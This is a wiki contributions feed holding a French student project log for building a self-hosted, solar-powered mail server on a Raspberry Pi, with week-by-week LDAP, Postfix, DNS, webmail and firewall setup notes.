<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tteneur</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Tteneur"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Tteneur"/>
		<updated>2026-05-13T19:15:33Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:PFE_Final_TENEUR_LIBAERT.pdf&amp;diff=27690</id>
		<title>Fichier:PFE Final TENEUR LIBAERT.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:PFE_Final_TENEUR_LIBAERT.pdf&amp;diff=27690"/>
				<updated>2016-02-23T14:00:15Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : a téléversé une nouvelle version de « Fichier:PFE Final TENEUR LIBAERT.pdf » : Correction de quelques coquilles et ajout de quelques précisions.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Rapport Final de PFE pour le projet P9 Système d'hébergement domestique&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Readme-Intimail.pdf&amp;diff=27689</id>
		<title>Fichier:Readme-Intimail.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Readme-Intimail.pdf&amp;diff=27689"/>
				<updated>2016-02-23T13:58:43Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : a téléversé une nouvelle version de « Fichier:Readme-Intimail.pdf »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Guide d'installation d'intiMail sur un système linux fraîchement installé.&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27688</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27688"/>
				<updated>2016-02-23T13:55:52Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
